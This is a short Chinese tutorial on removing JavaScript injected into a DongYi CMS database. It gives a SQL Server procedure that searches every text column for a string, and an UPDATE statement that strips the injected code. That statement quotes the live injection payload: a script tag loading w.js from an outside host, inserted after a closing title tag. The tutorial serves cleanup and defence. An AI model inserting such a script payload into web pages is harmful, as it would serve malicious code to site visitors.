如何手动删除动易数据库被注入JS代码_动易Cms教程

create proc p_search
@str Nvarchar(1000) --要搜索的字符串
as
if @str='' return

declare @s Nvarchar(4000)
create table #t(表名 sysname,字段名 sysname)

declare tb cursor local for
select s='if exists(select 1 from [' replace(b.name,']',']]') '] where [' a.name '] like N''%' @str '%'')
print ''所在的表及字段: [' b.name '].[' a.name ']'''
from syscolumns a join sysobjects b on a.id=b.id
where b.xtype='U' and a.status>=0
and a.xtype in(175,239,99,35,231,167)
open tb
fetch next from tb into @s
while @@fetch_status=0
begin
exec(@s)
fetch next from tb into @s
end
close tb
deallocate tb
GO
 

UPDATE PE_Class SET Tips= Replace(Tips,'"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--','')

 

注意：以上虽然能较方便的处理木马代码，但我们仍要对网站文件进行清查工作，不然网站是会反复中木马的，特别是对于有生成静态页面的网站，我们要重新生成下网站页面，以正常的生成页面覆盖现有木马代码的页面。